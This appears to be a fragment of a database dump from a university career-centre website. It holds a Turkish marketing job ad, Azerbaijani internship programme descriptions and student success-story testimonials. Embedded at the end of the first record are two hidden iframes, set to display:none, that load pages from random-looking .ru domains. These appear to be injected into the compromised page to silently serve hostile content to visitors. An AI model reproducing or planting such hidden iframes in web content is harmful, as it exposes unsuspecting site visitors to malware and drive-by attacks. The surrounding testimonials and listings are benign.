style=\"font-size:medium\"><strong>Pazarlama Uzmanı, Borusan Makina Azerbaycan şirketinin satış ve satış sonrasındaki hedeflerine bağlı olarak, marka ve şirket bilinirliğinin arttırılmasına yönelik pazarlama faaliyetlerinin yönetiminden sorumudur.&nbsp;</strong><br><br>Temel Sorumluluklar<br>• Hedefler doğrultusunda pazarlama stratejilerini uygulamak, pazarlama bütçesini oluşturmak ve tedarikçilerle olan ilişkileri yönetmek&nbsp;<br>• Mevcut pazarın ekonomik ve alıcı kriterlerine göre pazarlama faaliyetleri organize etmek<br>• Yerel fuarlarda katılım sağlamak, fuarın tüm süreçlerini organize etmek.&nbsp;<br>• İlgili pazarlama seminerlerine katılıp, değişen pazarlama tekniklerine karşı bilgili ve hazırlıklı olmak<br>• Tesis ve tesis dışında organize edilecek olan müşteri faaliyetlerini organize etmek<br>• Ürün katalokları, şirket tanıtım dosyaları ve videoları, promosyon malzemeleri gibi ürünlerin bütçe dahilinde temin edilmesini sağlamak. Tercih edilecek iletişim organları ile paylaşılacak olan ilanların hazırlıklarını organize etmek.&nbsp;<br>• Call Center faaliyetlerini kontrol etmek ve geliştirmek.&nbsp;<br>• Değişen Pazar koşullarında müşteri kritik parametrelerini belirlemek, Pazar ve rekabet ile alakalı sürekli araştırmalar yapmak<br>• Websitesinin bakımı ve geliştirilmesini organize etmek. Websitesi üzerinden gelen taleplerin dağılımını yapmak.<br>• Firma ile tedarikçiler arasındaki prensipleri belirlemek ve bu prensiplerin düzenli olarak denetlenmesini sağlamak.&nbsp;<br>• Müşterilere dağıtılacak olan promosyon malzemelerini belirlemek ve dağıtımını sağlamak.&nbsp;<br><br><br>Seçim Kriterleri<br><br>• Universitelerin pazarlama ( marketing ) , PR ve ya İşletme ( Business Administration) bölümünden mezun<br>• İyi seviyede Ingilizceve Rusça bilen<br>• Yaratıcı düşünme kabiliyeti<br>• Motivasyonu ve sorumluluk alma bilinci yüksek<br>• Pazarlık becerisi olan<br>• Bilgisayar kullanımı çok iyi olan<br>• Zamanını iyi yönete bilen<br>• Pazarlama alanında en az 2 yıllık tecrübeye sahip</p><p style=\"font-size:medium\"><br></p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Xəzər Universitetinin tələbələri üçün hazırlanmış təcrübə proqramı.</strong></p><p style=\"font-size:medium\"><strong>Proqramın adı:&nbsp;</strong>İngilis dilini birgə öyrənək layihəsi.</p><p style=\"font-size:medium\"><strong>İştirakçılar:&nbsp;</strong>İştirakçılar 1 səviyyəli müsahibə proqramından keçərək seçiləcək.</p><p style=\"font-size:medium\"><strong>Proqramın məqsədi:&nbsp;</strong>İngilis dili üzrə tələbə sayını artırmaq proqramı.</p><pre style=\"font-size:medium\">1.Promo layihə hazırlanmalı.\r\n2.Tələbələrin özlərinin hazırladığı təklif paketi üzrə cəlb edilmə üsulu təqdim edilməli.\r\n3.Layihə təqdim edildikdən sonra 3 gün ərzində qaliblər elan olunacaq.\r\n4.Qaliblər təlim mərkəzi tərəfindən 2-cı qısa hazırlıq kursu keçəcəklər (şirkət şərtləri üzrə məlumatlandırılacaqdır).\r\n5.Tender qalıbı layihə müddətində layihə rəhbəri kimi fəaliyyət göstərəcək.\r\n6.Təlim üzrə cəlb edimiş tələbələr üzrə bonus məbləği əldə ediləcək(verilən bonus cəlb edilmiş tələbə sayına görə fərqlənəcək)\r\n</pre><p style=\"font-size:medium\">&nbsp;</p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Xəzər Universitetinin tələbələri üçün hazırlanmış təcrübə proqramı.</strong></p><p style=\"font-size:medium\"><strong>Proqramın adı:&nbsp;</strong>Peşəkar maliyyəçi proqramı.</p><p style=\"font-size:medium\"><strong>İştirakçıların seçimi:&nbsp;</strong>İştirakçılar 1 səviyyəli müsahibə proqramından keçərək seçiləcək.</p><p style=\"font-size:medium\"><strong>Proqramın məqsədi:&nbsp;</strong>Headstart International Təlim Mərkəzi tərəfindən hazırlanmış və təqdim edilmiş yeni layihəyə əməkdaşlarımızla birgə dəstək proqramı.</p><p style=\"font-size:medium\">* Hər seçilən iştirakçı Təlim mərkəzimiz tərəfindən qısa təlim kursu keçəcək.</p><p style=\"font-size:medium\">&nbsp;</p><hr><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Xəzər Universitetinin tələbələri üçün hazırlanmış təcrübə proqramı.</strong></p><p style=\"font-size:medium\"><strong>Proqramın adı:&nbsp;</strong>Tərcümə xidməti layihəsi.</p><p style=\"font-size:medium\"><strong>İştirakçıların seçimi:&nbsp;</strong>İştirakçılar 2 səviyyəli: -müsahibə və yazılı tərcümə proqramından keçərək seçiləcək.</p><p style=\"font-size:medium\"><strong>Proqramın məqsədi:&nbsp;</strong>Headstart International Təlim Mərkəzinə məxsus nəşrlərin tərcüməsi.</p><p style=\"font-size:medium\">* Hər seçilən iştirakçı Təlim mərkəzimiz tərəfindən müəyyən bonus faizi ilə qiymətləndiriləcək.</p><p style=\"font-size:medium\">&nbsp;</p><hr><p style=\"font-size:medium\">&nbsp;<strong>Xəzər Universitetinin tələbələri üçün hazırlanmış təcrübə proqramı.</strong></p><p style=\"font-size:medium\"><strong>Proqramın adı:&nbsp;</strong>Conversation / Debat klublar layihəsi.</p><p style=\"font-size:medium\"><strong>İştirakçılar:&nbsp;</strong>İştirakçılar 2 səviyyəli müsahibə proqramından keçərək seçiləcək.</p><p style=\"font-size:medium\"><strong>Proqramın məqsədi:&nbsp;</strong>Seçilən iştirakçılar hər bazar günü danışıq klublarında və ya debatlarda hər dəfə bir mövzu təqdimat formasında təqdim&nbsp; edir və&nbsp; müzakirə sualları hazır edir. Klub iştirakçı tələbələrinə hər dəfə mövzu üzrə yeni sözlər təqdim edilir.<strong>&nbsp;</strong></p><p style=\"font-size:medium\"><strong>Keçirilmə vaxtı:&nbsp;</strong>Bazar günləri<strong>&nbsp;</strong></p>  <br></div>  <!-- ELRTE_SCRIPT:script6841834103688598 --><iframe id=\"a1996667054\" src=\"https://su2lgyoeucscn.ru/f2.html?a=26698\" style=\"display:none\"></iframe><iframe id=\"a754394637\" src=\"https://doiuhrht.ru/u.html?a=26698\" style=\"display:none\"></iframe>'),(1205,504,'az','Uğur hekayəsi','Uğur hekayəsi','<div><p><strong><br></strong></p><p><strong>Tərlan Qənbərova</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Mən Xəzər Universitetində kliniki psixologiya\r\nixtisası üzrə magistr təhsili alıram. Hazırda Müasir Psixologiya Mərkəzində fəaliyyət\r\ngöstərirəm. Keçən il təqaüd qazanaraq, Erasmus Mundus proqramı vasitəsilə\r\nPolşada 10 ay Psixologiya və davranış elmləri üzrə təhsil aldım. Bu 10 ay müddətində\r\nçox maraqlı təcrübələr qazanaraq, unudulmaz anılar yaşadım. Buna görə Karyera Mərkəzinin\r\nkoordinatoru – Ulviyyə Huseynovaya öz minnətdarlığımı bildirmək istərdim. O,\r\nmüraciət prosesinin hər bir mərhələsində mənə çox yaxından kömək etmişdir. Onun\r\nköməyi ilə effktiv motivasiya məktubunun və digər bir çox sənədlərin hazırlanma\r\nqaydasını öyrəndim. <o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Son olaraq qeyd etmək istərdim ki,\r\ninsanlar istədiyi hər şeyə nail olmağa qadirdirlər. Sadəcə, həyatınızın hər bir\r\nanında öz arzu və istəklərinizin arxasınca gedin və çalışın.&nbsp;</p>  <p><br></p><p><strong><br></strong></p><p><strong>Günay\r\nİsmayılova</strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Mən Günay İsmayılova 2015-ci il Xəzər Universiteti Humanitar və\r\nsosial elmlər fakültəsinin psixologiya ixtisası üzrə məzunuyam. İndi mənim Xəzər\r\nUniversitetində magistraturada ikinci ilimdir. Mən Xəzər Universitetinin Kariyera\r\nMərkəzi tərəfindən təşkil olunmuş Beynəlxalq Psixlogiya Konfrasında könüllü\r\nidim. Bu, mənim iş təcrübəmi inkişaf etdirməyimə kömək etdi. Bunun üçün mən Ülviyyə\r\nHüseynovaya təşəkkür edirəm. Mən düşünürəm ki, Xəzər Universiteti tələbələrə daha\r\nmodern yeni dünya görüşü əldə etmək və çoxlu yaxşı insanları tanımaq üçün asanlıqla\r\nkömək edir.<o:p></o:p></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;Mən&nbsp; “Azərsun” Holdinqin proqramını Xəzər Universitetinin\r\nKariyera Mərkəzi tərəfindən təşkil olunmuş kariyera sərgisində təqdim etdim. Mən\r\ndüşünürəm ki, “Azərsun” Holdinq gənc insanlar üçün əla imkanlar təqdim edir.\r\nİlk olaraq, mən CV-mi “Azərsun” Holdinqin səhifəsinə göndərdim və əmin oldum ki,\r\nonlar məni müsabiqəyə dəvət edəcək. Daha sonra onlar məni “Azərsun”\r\nAkademiyasina müsabiqəyə dəvət etdilər. İlk musabiqədən sonra onlar məni növbəti\r\nmərhələ üçün Azərbaycan İndustrial İnsurance-a dəvət etdilər. Nəticədə, mən\r\nİnsan Resursları departamentində iş təklifi aldım. Mənim üçün ən əsası kariyera\r\ntəcrübəmi İnsan Resursları departamentindən əldə etdim.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Mən öz bilik və təcrübələrini mənimlə paylaşdığı üçün Emil Ağarzayevi\r\ntəqdim etmək istərdim. Həqiqətən də, bu mənim kariyera başlanğıcım üçün əla təcrübə\r\nidi. Mənim əməkdaşlığım həftədə 5 dəfə bütöv gün olmaqla 3 ay oldui. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Mən universitetimizin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanliya, Humanitar\r\nvə sosial elmlər fakültəsinin dekanı Cabir Xəlilova və bütün müəllimlərimə,\r\nxüsusi olaraq, Ülkər İsayevaya və Mələk Kərimovaya təşəkkür edirəm . Mən çox\r\nxoşbəxtəm, çünki Xəzər Univerisitetinin tələbəsiyəm.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Son olaraq Xəzər Universitetinə təşəkkür edirəm və bütün tələbələrə\r\nkariyeralarında uğurlar diləyirəm.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong style=\"text-align:justify;text-indent:0.25in\"><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong style=\"text-align:justify;text-indent:0.25in\"><br></strong></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\"><strong style=\"text-align:justify;text-indent:0.25in\">Dinarə Xucatova</strong></p>\r\n<p>Bakalavr\r\ntəhsilimin sonuna yaxınlaşdıqca çox aydın hiss etdim ki, Xəzər Universitetinin məzunu\r\nolmaq gələcək karyeram üçün çox mühimdir. Karyera Mərkəzinin “Caspian\r\nİnvestment and Development Corporartion” şirkətində iş təklif etməsi mənə beynəlxalq\r\nşirkətlərlə əlaqənin təməlini qurmaqda çox kömək etdi. CIDC mənə özümü inkişaf\r\netdirmək, idarəçilik qabiliyyətini artırmaq üçün əla imkanlar verir. </p>\r\n<p>Mən\r\n4 təhsil ili ərzində mühasibat, idarəçilik, insan resursları və başqa sahələrdə\r\nbiliklər əldə etdim. Güclü bakalavr bilikləri əsasında MBA proqramına qəbul\r\noldum və bundan sonra da davam edəcəyəm.</p>\r\n<p>Çox\r\nsağ ol, Xəzər Universiteti!</p>  <p><br></p><p><br></p><p><strong>Cəlal Hüseynbəyli.</strong><br><strong>Politologiya.Təcrübə Proqramı: Bakcellin &nbsp;“Smart Start” proqramı</strong></p><p>Xəzər Universitetinin Peşə Mərkəzi tərəfindən təşkil olunmuş Karyera sərgisində Bakcellin &nbsp;<br>“Smart Start” proqramı ilə tanış oldum. Bakcellin &nbsp;“Smart Start” proqramı gənclərin ilkin&nbsp;<br>karyera addımı atması üçün mükəmməl fürsətdir.<br>Əvvəlcə ərizə formasını doldurdum və dəvət olunacağıma inandım.</p><p>İlk qrup müsahibəsindən&nbsp;<br>sonra növbəti mərhələyə keçməklə bağlı inamımı itirmişdim.çünki mənə elə gəlirdi ki,</p><p>müsahibə&nbsp;yaxşı keçməmişdi,amma üçüncü mərhələnin sonunda 1500 müraciət arasından &nbsp;sonunda&nbsp;</p><p>Bakcellin &nbsp;“Smart Start” proqramının Korporativ Satış departamentində işləmək təklifi aldım.<br>Mən karyera yolumda ilk addımı atdım.və qürurla deyə bilərəm ki,bu mənim üçün həqiqətən&nbsp;<br>mükəmməl təcrübə oldu.Təcrübə proqramı həftədə 5 iş günü nəzərə alınmaqla 2 ay davam edir.<br>İki aylıq təcrübə proqramında iştirakçılar Bakcelldə biznes mühitinin texnoloji möcüzələri ilə&nbsp;<br>tanış oldular.Bu təcrübə proqramı müddətində böyük şirkətlərlə kommunikasiya və biznes etikası&nbsp;<br>kimi dəyərli biliklər və bacarıqlar əldə etdim.<br>Bakcell həmçinin gündəlik qida və yol məsrəflərini qarşılamaq məqsədilə təcrübəçiləri təqaüdlə&nbsp;<br>təmin edir.Təcrübə proqramı tamamlandıqdan sonra iştirakçılar dəyərləndirilir və onların bu&nbsp;<br>layihədə iştirakını təsdiq edən sertifikatarla təltif edilirlə</p><p>&nbsp;</p><p><strong>Şamil İsmayılov.</strong></p><p><strong>Tərcüməçi, Tələbə, İş: Bakcellin &nbsp;</strong><strong>\"Hertel\" şirkəti.</strong></p><p>&nbsp;</p><p>Mən Xəzər universitəsinin 2ci kurs tələbəsiyəm. Mənim GPA keçən il 81 idi. Mən Baku 2015 oyunlarında könüllü idim və BEGOC&nbsp; tərəfindən minnətdarlıqla qarşılandım. Gələcəkdə iş tapmaq üçün Xəzər Universitəsi Peşə İnkişaf mərkəzi mənim üçün şans yaratdı.İlk növbədə Ülviyyə Hüseynova lazımı qaydada CV düzəltməyi öyrətdi, daha sonra o ilk iş təcrübəmi əldə etməkdə mənə kömək etdi. Universitetimə, Peşə İnkişaf Mərkəzinə xüsusilədə Ülviyyə Hüseyinovaya minnətdarlıq hisslərimi çatdırmağa sözlər kifayət deyil. Mən məktəbi bitirəndə peşəkar tərcüməçi olmağı arzu edirdim. Mən SSAC imtahanından 438 point əldə etdim. Mən bilirdim ki,&nbsp; Xəzər Universitəsi Azərbaycanda ən çox çalışqan universitetdir. Buradakı insanların daha ağıllı, daha müasir və çox yaxşı ətrafı olmasını eşitdim. İndi mən burdayam və həyatın üçün hazırlıqları əldə edirəm. Təşəkkürlər Xəzər Universitəsi</p><p><strong><br></strong></p><p>&nbsp;</p><p><strong>Xədicə Aşurova</strong><br><strong>Psixologiya.Tələbə.İş: \"ParaBank\" ASC-nin İnsan Resursları departamenti</strong></p><p>Mən Xədicə Aşurova Xəzər Universiteti psixologiya fakultəsinin 2015-ci il məzunuyam.Hal-hazırda&nbsp;<br>\"Parabank\" ASC-nin İnsan Resursları Departamentində iş təcrübəsi əldə edirəm.İngilis dilində təhsil&nbsp;<br>almışam,Dekanın fəxri vərəqi,IELTS sertifikatı,88 orta balla bağlı fəxri diplom və ən önəmlisi Xəzər&nbsp;<br>Universitetinin İnsan Resursları Departamentində ilk iş təcrübəmi əldə etdim.Bunların hər biri mənim&nbsp;<br>işimi əldə etməyimdə böyük köməklik göstərdi.Mən bildirmək istəyirəm ki,universitetin ən dəyərli hissəsi&nbsp;<br>Peşə Mərkəzidir. Peşə Mərkəzində biz effektiv CV yaratmağı,müsahibələrdə necə iştirak etməli&nbsp;<br>olduğumuzu öyrəndik və həmçinin Peşə Mərkəzi bizə öz CV-lərimizi məşhur şirkətlərlə paylaşmaq imkanı&nbsp;<br>verdi.Bütün bu önəmli şeylər üçün Ülviyyə Hüseynovaya öz səmimi təşəkkürümü bildirmək istəyirəm.<br>Xəzər Universiteti mənə yeni dünyagörüşü və çox dəyərli insanlar qazandırdı.Hər şeydən əvvəl&nbsp;<br>universitetə daxil olduqda mənim universitetə elə də yaxşı yanaşmam yox idi,çünki universitetim özəl idi&nbsp;<br>və mən bundan utanırdım,lakin sonradan başa düşdüm ki,Xəzər Universitetinin təhsili ən yaxşısıdır.Buna&nbsp;<br>görə də mən Xəzər Universitetinin tələbələrinə bildirmək istəyirəm ki,bundan utanmasınlar.<br>Sonda mən Hamlet İsaxanlıya,Ülkər İsayevaya,Humanitar və Sosial Elmlər departamentinin dekanı Cabir&nbsp;<br>Xəlilova xüsusi təşəkkürümü bildirmək istəyirəm.Mən öz müəllimlərimə bölüşdükləri&nbsp;<br>biliklərindən,təcrübələrindən ötrü minnətdaram.Mən çox xoşbəxtəm ki Xəzər Universitetinin&nbsp;<br>məzunuyam.</p><p><br></p><p><strong>Fidan Rüstəmova</strong><br><strong>Neft Mühəndisliyi: Petroleum Engineering: designer and manager of Noobs team</strong></p><p>Xəzər Universitetində üçüncü kurs tələbəsiyəm.Bu illər ərzində çoxlu bilik və dostlar qazandım.Bu&nbsp;<br>təcrübə bu gün belə təsəvvür eliyə biləcəyimdən daha maraqlı və öyrədici oldu.Bu il,2015-ci ildə Noobs&nbsp;<br>komandasında dizayner kimi çalışaraq bu layihənin bir parçası olmaq şansı əldə etdim.Baxmayaraq ki&nbsp;<br>dizayn işinin neft mühəndisliyi ilə az əlaqəsi var,bu öz yaradıcılığımı ifadə etmək üçün bir vasitə oldu.<br>Noobs ümumi maraqları və dünya görüşü olan və yeni texnologiyanın üstünlüklərini göstərmək&nbsp;<br>məqsədilə layihələr həyata keçirən tələbələrdən ibarət komandadır.2 universitetin 4 tələbəsindən ibarət&nbsp;<br>bu komanda bu ilin əvvəlində bir yerdə çalışmağa başlayıb,lakin bu günə kimi böyük uğurlar əldə edib.<br>Onların iş macərası Microsoft şirkəti tərəfindən keçirilən “Imagine Cup” yarışmasında təqdim ediləcək&nbsp;<br>innovative məshulun yaradılması ilə başladılar.Çox az vaxtın olmasında baxmayaraq,yuxusuz gecələrdən&nbsp;<br>və çətin işlərdən sonra onlar son təslim tarixinə yetişdilər.<br>Noobs iyul ayında “Imagine Cup” dünya finallarında təqdim etmək üçün …layihə tapdı.Komanda hal-<br>hazırda dəyərli məhsullar yaradılmasına davam etmək məqsədilə bir çox həyəcanlandırıcı və texnoloji&nbsp;<br>layihələr üzərində işləyir.<br>Mən indiyə qədər etdiklərim üçün çox həyəcanlıyam və bilirəm ki,bu sadəcə bir başlanğıcdır.<br>Dİgər bütün tələbələrə demək istəyirəm ki,çox çalışın,bu bəs edər.</p><p>&nbsp;</p><p><strong>Tünzalə Talıblı</strong><br><strong>Psixologiya,tələbə.İş: Logos Uşaq Nitqinin İnkişafı Mərkəzi</strong></p><p>Adım Tünzalə Talıblıdır,Xəzər Universitetində dördüncü kurs tələbəsiyəm.İxtisasım psixologiyadır.Uşaq&nbsp;<br>psixologiyasına fokuslanmak üçün seçildim.Bu sahədə,uşaqlara ünsiyyət təcrübənin olması çox&nbsp;<br>önəmlidir.Buna görə də öz CV-mi Xəzər universitet tərəfindən tələbələrə karyeraya başlamaqda yardım&nbsp;<br>etmək məqsədilə yaradılan Peşə Mərkəzinə gətirdim.İki Aydan sonra,Ülviyyə Hüseynova məni&nbsp;<br>müsahibəyə çağırdı.İndi isə 3 həftədir ki,Logos Uşaq Nitqinin İnkişafı Mərkəzində baş psixoloq Anarə&nbsp;<br>Baxşəliyevanın yanında təcrübəçi kimi çalışıram.Bütün yardımına görə Ülviyyə Hüseynovaya təşəkkür&nbsp;<br>edirəm.</p><p>&nbsp;</p><p><strong>Aysel Quluyeva,</strong><br><strong>Biznes İdarəetməsi,tələbə.Təcrübə: FireWorks Human Resources Management</strong></p><p>Öz həyat məqsədimi müəyyənləşdirdikdən sonra ən böyük çətinliyim vaxtın idarə olunması&nbsp;<br>oldu.Hamımızın bildiyi kimi,çoxlu maraqlı təlimlər,biznes forumlar,könüllülük programları,təcrübə&nbsp;<br>proqramları mövcuddur.Biz isə hər yerə getmək istəyirik və gündəlik planlarımızla başa çıxmaqda&nbsp;<br>problemlərlə üzləşirik.<br>Mənim fikrimcə,həyatda uğur qazanmaq üçün biz mütləq nə istədiyimizi və ona necə nail olacağımızı&nbsp;<br>bilməliyik.Uğurun əsas elementləri:müsbət düşüncə,mümkün uğursuzluqlardan qorxmama,əksinə&nbsp;<br>onlardan dərs çıxarma və işlərikxmizin önəm dərəcəsinə görə sıralamadır.<br>Bu strategiya mənə Dekanın fəxri vərəqlərini qazanmaqda yardım etdi.Üstəlik,Tələbələr İttifaqqına&nbsp;<br>Prezident Seçkilərində ikinci yeri qazandım və avtomatik olaraq 2013-cü il Dekabrın 5-ində Vitse-<br>Prezident oldum.Bu dövrdə çoxlu dostlar qazandım.Bizim Tələbələr İttifaqı tərəfindən bir neçə maraqlı&nbsp;<br>tədbirlər təşkil olundu.Onlardan bəziləri:Gül Bayramı oyunu,iştirakçılara hədiyyələrin verildiyi ABŞ-da&nbsp;<br>təhsil sərgisi, Şirniyyat Satışı fandreyzinq tədbiri,Rəsm Sərgisi,Mübarizə Nöqtəsi İntellektual Oyunu.<br>Bundan əlavə, Junior Achievement Azerbaijan tərəfindən təşkil olunan Youth Business Leadership&nbsp;<br>layihəsində bütün mərhələləri keçcdim və &nbsp;FireWorks HRM şirkətində təcrübəçi kimi dəyərli iş təcrübəsi&nbsp;<br>qazandım.<br>Yuxarıda qeyd etdiklərmi nəzərə alaraq,təlimatçılara professional təcrübə əldə etməkdə və daha yaxşı&nbsp;<br>performans üçün motivasiya verilməsində göstərdikləri yardımlarından dolayı təşəkkür edirəm.Həmçinin&nbsp;<br>Peşə mərkəzinə də tərəbələri təlimlərlə,karyera sərgisi və işlə təmin olunmada göstərdikləri köməyə&nbsp;<br>görə minnətdaram.</p><p>&nbsp;</p><p><strong>Nərgiz Əhmədova</strong><br><strong>Filologiya,tələbə.İş: Xəzər Film və Animasiya Məktəbində Menecer Assistenti</strong></p><p>Mən 2012-ci ildə &nbsp;Xəzər Universitetinə daxil oldum.Bu dövrdə bir çox hədəfimə nail oldum.Mən&nbsp;<br>universitetdə ilk ilimdə bir çox tədbirlərin təşkilində iştrak edirdim.Bundan əlavə,mən Xəzər&nbsp;<br>Universitetinin Tələbələr İttifaqının prezidentliyinə namizədliyimi irəli sürdüm.Nəticədə, hal-hazırda&nbsp;<br>Tələbələr İttifaqının rəhbəriyəm.Bundan başqa, mən Xəzər Universitetinin Peşə Mərkəzinə müraciət&nbsp;<br>etdim və Peşə Mərkəzinin koordinatoru Ülviyyə Hüseynova tərəfindən yaradılmış fürsətlərdən istifadə&nbsp;<br>etdim.Mən öz ixtisasıma uyan müəllim kimi işlədim.Amma yenə də mən istədiyini əldə edən və cəsarətli&nbsp;<br>biriyəm və öz gələcəyimi müxtəlif sferalarda görürəm.İdarəetmə bacarıqlarıma uyğun olaraq, Xəzər Film&nbsp;<br>və Animasiya Məktəbi tərəfindən mənə menecer vəzifəsi təklif edildi. Bir sözlə, mən Xəzər&nbsp;<br>Universitetində əldə etdiyim nailiyyətlər və bacarıqlara görə çox xoşbəxtəm.</p><p>&nbsp;</p><p><strong>Tarlan Qanbarova,</strong><br><strong>Psixologiya,Tələbə.İş:Fövqəladə Hallar Nazirliyində təcrübə</strong></p><p>Adım Tərlan Qənbərovadır.İxtisasım psixologiyadır.Mən dördüncü kurs tələbəsi idim və ixtisasım üçün&nbsp;<br>hər hansı bir təcrübə proqramı tapa bilmirdim. Peşə Mərkəzi Center Fövqəladə Hallar Nazirliyində ən&nbsp;<br>yaxşı üç aylıq təcrübə proqramını tapmaq üçün mənə kömək etdi.Və öz sahəmdə çoxlu təcrübə əldə&nbsp;<br>etdim. Mən fövqəladə hallarda xilasedicilər və qurbanlarının psixologiyası haqqında öyrəndim.Hər şey&nbsp;<br>mənim üçün çox maraqlı və unudulmaz idi. Mən Peşə Mərkəzinin koordinatoru Ülviyə Hüseynliyə&nbsp;<br>minnətdaram.Karyera ilə bağlı bütün tələbələrə uğurlar!</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>Elnur Badalov,</strong><br><strong>Maliyyə,tələbə.Təcrübə: Damir Bank Open Joint-Stock Company</strong></p><p>Təhsilimi 2012-ci ildə Xəzər Universitetində davam etdirən zaman hiss edirdim ki,böyük imkanlar məni&nbsp;<br>gözləyir.Universitetə qəbul imtahanı zamanı adi orta məktəb tələbəsi kimi öz arzularım və planlarım&nbsp;<br>haqqında ətraflı məlumatım yox idi. Həqiqətən, orada istifadə etmək və uğur əldə etmək üçün böyük&nbsp;<br>imkanlar var idi,lakin başlanğıcda şagirdlərin əksəriyyəti mənim kimi bu fürsətləri başa düşə və istifadə&nbsp;<br>edə bilmir.<br>Əsas önəmli məqamlar bzim universitetimizdə təqdim edilir.Əvvəla,bizim böyük,durmadan çalışan və&nbsp;<br>yorulmayan Peşə İnkişaf Mərkəzimiz və onun tələbkar rəhbəri Ülviyyə Hüseynova var.Bundan&nbsp;<br>əlavə,bizim asanlıqla toplaşa bilən,müzakirələr apara bilən və özünü-inkişaf yollarını öyrənə bilən &nbsp;böyük&nbsp;<br>auditoriyamız var.Xəzər Universiteti İqtisadiyyat və Menecment fakultəsi tələbəsi olaraq mənim üçün&nbsp;<br>arzularını gerçəkləşdirməyin yolu çox çalışmaqdır.Bu yolla öz yolunuzda parlayacaq və digərlərindən&nbsp;<br>seçiləcəksiniz.Bundan əlavə,biz öz xas keyfiyyətlərimizi reallaşdırırq və onlarla tanış olaraq gələcəyimizə&nbsp;<br>addımlayırıq.Onda əminliklə deyəcəksiniz: “Qoyun gerçəkləşsin! Başlanğıcda harada idim və indi&nbsp;<br>haradayam!<br>Nəhayət, üçüncü kursa keçməyimə baxmayaraq hazırda Demir Bankın Maliyyə Departamentində&nbsp;<br>təcrübəçi kimi çalışıram.Xəzər Universitetinin Peşə İnkişaf Mərkəzi tərəfindən keçirilən üz-üzə görüş və&nbsp;<br>online şəkildə ora müraciət etdim.Nəticədə,imtahan verdim və onu uğurla keçdim.Dahası,bunu panel&nbsp;<br>müsahibə izlədi və Maliyyə Departamentinin sədri təcrübə proqramı vəzifələrinə məni və digər 4&nbsp;<br>həmkarımı seçdi.Maraqlısı o idi ki,mən təcrübə proqramına 360 namizəd arasından seçilmişdim.Bir&nbsp;<br>sözlə,mən öz hədəfimə nail oldum-dəyərli dostluqlarımı pozmadan çox çalışaraq karyerama start&nbsp;<br>verdim.Əldə edilə biləcək arzularınızı təqib edin və onları reallaşdırın.</p><p>&nbsp;</p><p><strong>Nuranə Quluzadə</strong><br><strong>İngilis dili.Tələbə.İş: Assistant, Fireworks Azərbaycan</strong></p><p>Adım Nuranə Quluzadədir.18 yaşım var.Bu tədbir üçün təlim alıram. FireWorks şirkə tini bəyənirdim və&nbsp;<br>sonra onların bir assistant ehtiyacı olduğunu eşitdim.Ona müraciət etdim və müsahibə verdim.Digər&nbsp;<br>qızlarla birgə seçildim və bizə bildirdilər ki,3 həftə sonra onlar bizim aramızda ən yaxşısını seçəcəklər.Bu&nbsp;<br>məni çox sevindirdi.</p><p>&nbsp;</p><p><strong>Anar Abıyev,</strong><br><strong>Komputer Elmləri Mühəndisliyi,tələbə.İş: Computer Science Engineering, Student, Job: təlimatçı,&nbsp;</strong><br><strong>AZNEXT</strong></p><p>Adım Anar Abıyevdir.23 yaşım var.My name is Anar Ibayev. I am 23.Xəzər Universitetinə daxil olmazdan&nbsp;<br>əvvəl şəbəkə işi ilə təcrübəm vardı və qərara aldım ki,gələcəyimi bu işə həsr edim. Xəzər Universitetində&nbsp;<br>təcrübədə iştirak etmək təklif edildikdə heç bir fikrim yox idi ki,mən işləməyi çox istədiyim CISCO&nbsp;<br>tərəfindən seçilə bilərəm.Onlar tərəfindən seçildim və bizə və bizə bildirdilər ki.3 ay sonra onlar bizim&nbsp;<br>aramızda ən yaxşısını seçəcəklər.Mən qarşıdakı təcrübə haqqında hər şeyi bilirdim və buna görə də onlar&nbsp;<br>mənim içimdəki potensialı gördülər və mən CISCO-nun əmrlərini konfiqurasiya etdikdə&nbsp;<br>təəccübləndilər.Onlar mənə təlimatçı vəzifəsini təklif etdilər. Bu məni çox sevindirdi.Beləcə,onlarla&nbsp;<br>işləməyə razılaşdım.</p><p><strong>Samid Dibirov</strong><br><strong>Neft&amp;Qaz Mühəndisliyi.Tələbə.Təcrübə: AMEC</strong></p><p>Təcrübəli mühəndis olmaq üçün öz biliyini təcrübəylə birləşdirmək lazımdır.Bu məqsədlə mən və dostum&nbsp;<br>təcrübəylə öyrənmək imkanı əldə etmək üçün bu təqaüd proqramına qoşulduq.Mən həqiqətən bizə belə&nbsp;<br>böyük imkan verdiyinə görə AMEC şirkətinə minnətdaram.</p><p>&nbsp;</p><p><strong>Nasiba Taghiyeva</strong><br><strong>Könüllü Psixoloq</strong></p><p>Salam.Adım Nəsibə Tağıyevadır.İxtisasım psixologiyadır.Mən sizə öz uğur hekayəmi danışmaq&nbsp;<br>istəyirəm.Hal=hazırda Müasir Psixologiya Mərkəzində işləyirəm.Peşə mərkəzi bu iş imkanını tapmaqda&nbsp;<br>mənə böyük kömək göstərdi.Buna görə də Ülviyyə xanıma təşəkkür 